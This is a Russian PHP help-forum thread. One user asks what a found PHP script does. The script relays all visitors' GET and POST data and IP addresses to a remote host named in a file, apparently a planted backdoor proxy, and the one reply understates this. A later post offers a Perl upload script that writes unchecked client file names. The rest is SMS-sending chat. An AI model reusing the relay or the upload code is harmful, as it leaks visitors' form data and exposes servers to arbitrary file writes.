Нужна помощь знатоков

[Rem]

Здравствуйте!
Подскажите что делает данный скрипт?

<?



$ip=file_get_contents('ip.bin');

if(isset($_GET['ch']))
{
	echo 'ya_krevedko';
	exit;
}

$f=fsockopen($ip,80);

if($_SERVER['REQUEST_METHOD']=='GET')
{

	$req="GET ".$_SERVER['REQUEST_URI']."?".$_SERVER['QUERY_STRING']."&ip=".urlencode($_SERVER['REMOTE_ADDR'])." HTTP/1.0\r\n".
	"Host: ".$_SERVER['HTTP_HOST']."\r\n\r\n";
}
elseif($_SERVER['REQUEST_METHOD']=='POST')
{	$post='';
	foreach($_POST as $name=>$val)
		$post.=$name."=".urlencode($val).'&';

	$req="POST ".$_SERVER['REQUEST_URI']."?".$_SERVER['QUERY_STRING']."&ip=".urlencode($_SERVER['REMOTE_ADDR'])." HTTP/1.0\r\n".
	"Host: ".$_SERVER['HTTP_HOST']."\r\n".
	"Content-Type: application/x-www-form-urlencoded\r\n".
	"Content-Length: ".strlen($post)."\r\n\r\n".$post;
}



fputs($f,$req);



$rep='';

while(!feof($f))
	$rep.=fread($f,2);
//echo $rep;
$rep=strstr($rep,"\r\n\r\n");
$rep=substr($rep,4);
echo $rep;

?>

 

[sw04]

из файла читает имя сайта.
подключается, скачивает текст страницы и выводит.

 

[Ardis]

Не стал делать новую тему решил прям сюда написать!
Есть 2 скрипта php для залифки фоток (аватаров), они рабочие, но трабла в том что хостинг не поддерживает php...
можно ли переписать эти скрипты например на перле или еще что пидумать?
ЗЫ если есть у кого желание помоч то стучите в асю, если все сделаем в обиде не оставлю

 

[~Daniel~]

Скрипт на перле.
Но ты уверен, что на хостере есть перл? Если у него даже php нету...

А вообще это раздел о php, а не о таких альтернативных способах

#!/usr/bin/perl -w
use strict;
use CGI qw(param);

my $file = param('file') ? param('file') : 'none';
if ($file eq 'none') {
print "Content-type: text/html; charset=windows-1251\n\n";
print '<form action="" method=post enctype="multipart/form-data">
<input type="file" size="60" name="file">
<input type="submit" value="Upload"></form>';
exit;
} else {
my $file_name = $file;
open (FILE, ">$file_name") || die "Can not open file! $file_name!";
binmode FILE;
flock (FILE, 2);
print FILE while (<$file>);
close FILE; close $file_name;
chmod 0644, $file_name;
print "Content-type: text/html; charset=windows-1251\n\n";
print "Upload OK!";
exit;
}

 

[Tolyt]

А можно сделать код для отправки смс сообщений с сайта?

 

[den987]

для отправки смс в любом случае прийдется пользовать сторонними ресурсами типа smscoin.com, т.к. сервер сам по себе не умеет их отправлять

 

[max-oligarh]

можно напрмер слать на email вида 733939393@sms.beemail.ru если подключен бимаил (у других провадеров тоже есть подобные сервисы)

 

[ZeFiR]

u-sms.ru в помощь, неплохой сервис